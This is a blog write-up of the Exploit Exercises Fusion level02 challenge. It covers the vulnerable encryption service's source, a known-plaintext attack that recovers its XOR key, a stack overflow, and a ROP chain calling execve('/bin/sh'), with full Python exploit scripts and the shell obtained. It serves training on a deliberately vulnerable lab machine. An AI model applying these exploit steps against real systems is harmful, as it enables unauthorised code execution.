Blog

Exploit Exercises Fusion Level02

2014-12-13 22:55:08

Write-up for Exploit Exercises Fusion Level02:
We are given the source code for the level02 binary.

level02.c

#include "../common/common.c"    

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];

  int blocks;
  unsigned int *blahi, j;

  if(keyed == 0) {
      int fd;
      fd = open("/dev/urandom", O_RDONLY);
      if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
      close(fd);
      keyed = 1;
  }

  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;

  for(j = 0; j < blocks; j++) {
      blahi[j] ^= keybuf[j % XORSZ];
  }
}

void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];

  unsigned char op;
  size_t sz;
  int loop;

  printf("[-- Enterprise configuration file encryption service --]\n");
  
  loop = 1;
  while(loop) {
      nread(0, &op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0, &sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1, &sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
      
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}



First off, here is a python util file I created for working with the fusion levels:

com.py

import sys
import socket
import select
import os

def connect(port,block=0):
	so = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	so.connect(("localhost",port))
	so.setblocking(block)
	os.system("ps aux | grep "+str(port))
	print "Press enter to run"
	raw_input()
	return so
	
def recvTime(so,t=1):
	ready = select.select([so],[],[],t)
	if ready[0]:
		return so.recv(4096)
		
def useShell(so):
	print "Attempting shell"
	while True:
		so.send(raw_input("$")+"\n")
		print recvTime(so)



Looking over the source, the vulnerability appears to be

nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);


We can specify the amount of bytes to read into the buffer. To overflow it we need 32*4096=0x20000 bytes, and 16 bytes padding to get overwrite the return address.


#!/usr/bin/python
import com
import struct

so = com.connect(20002,1)
print com.recvTime(so)

pl = "A"*0x20010
pl += "BBBB"

s = "E"+struct.pack("I",len(pl)) #length of payload
s+=pl
s+="Q"
so.send(s)
print len(com.recvTime(so))

Causes us to segfault in gdb:
0xb783e424 in __kernel_vsyscall ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xa80a95b7 in ?? ()

However, the payload gets "encrypted" by being XORed by block for up to 32 unique cipher blocks.
The cipher is only set once and then used for all the files, so we can do a known plaintext attack on it by sending 32 blocks of AAAA.

#!/usr/bin/python
import com
import struct

def enc(s, keybuf):
        pt=""
        for i in range(0,len(s)/4):
                o = struct.unpack("I",s[i*4:i*4+4])[0]
                o = o^keybuf[i%32]
                pt+=struct.pack("I",o)
        return pt

so = com.connect(20002,1)
print com.recvTime(so)

s = "E"+struct.pack("I",0x80)+"A"*128
so.send(s)
s = com.recvTime(so,128+124)[124:]

keybuf=[]
#XOR the output to cancel the original XOR
for i in range(0,32):
        o=struct.unpack("I",s[i*4:i*4+4])[0]
        o=o^struct.unpack("I","AAAA")[0]
        keybuf.append(o)

pl = "A"*0x20010
pl += "BBBB"

s="E"+struct.pack("I",len(pl))
s+=enc(pl,keybuf)
s+="Q"

so.send(s)

#eat up all the output
for i in range(0,0x20014/4096+1):
        com.recvTime(so)

Now we get a segfault at the correct location:
0xb783e424 in __kernel_vsyscall ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

All that is left is to ROP to victory. Looking at what ROP gadgets were avalible I decided to call execve with "/bin/sh" as arguments. The gadgets I used were:
0x08048818 pop %ebx; ret;
0x08049fe3 call *(%ebx);

I found the GOT.PLT entry for execve using objdump:
 
fusion@fusion:~$ objdump -R /opt/fusion/bin/level02 | grep execve
0804b3d8 R_386_JUMP_SLOT   execve

And found I found the arguments in gdb:
(gdb) find system, +99999999, "/bin/sh"
0xb77ee8da
warning: Unable to access target memory at 0xb7830f62, halting search.
1 pattern found.


The rop will load the execve@got.plt into ebx and then call that pointer. The stack will have the arguments of the "/bin/sh" pointer and two NULLs.

The final code:

#!/usr/bin/python
import com
import struct

def enc(s, keybuf):
        pt=""
        for i in range(0,len(s)/4):
                o = struct.unpack("I",s[i*4:i*4+4])[0]
                o = o^keybuf[i%32]
                pt+=struct.pack("I",o)
        return pt

so = com.connect(20002,1)
print com.recvTime(so)

s = "E"+struct.pack("I",0x80)+"A"*128
so.send(s)

s = com.recvTime(so,128+124)[124:]
print len(s)

keybuf=[]
#XOR the output to cancel the original XOR
for i in range(0,32):
        o=struct.unpack("I",s[i*4:i*4+4])[0]
        o=o^struct.unpack("I","AAAA")[0]
        keybuf.append(o)


evp=0x804b3d8 #GOT of execve
sh=0xb77ee8da #"/bin/sh"
pebx=0x08048818 #pop %ebx | ret
cebx=0x08049fe3 #call *(%ebx)

pl = "A"*0x20010
pl+=struct.pack("I",pebx)
pl+=struct.pack("I",evp)
pl+=struct.pack("I",cebx)
pl+=struct.pack("I",sh)
pl+=struct.pack("I",0)*2

s ="E"+struct.pack("I",len(pl))
s+=enc(pl,keybuf)
s+="Q"

so.send(s)

#eat up all the output
for i in range(0,0x20014/4096+1):
        com.recvTime(so)
print com.recvTime(so)

com.useShell(so)

And the results:
Press enter to run

[-- Enterprise configuration file encryption service --]

128
None
Attempting shell
$id
uid=20002 gid=20002 groups=20002

$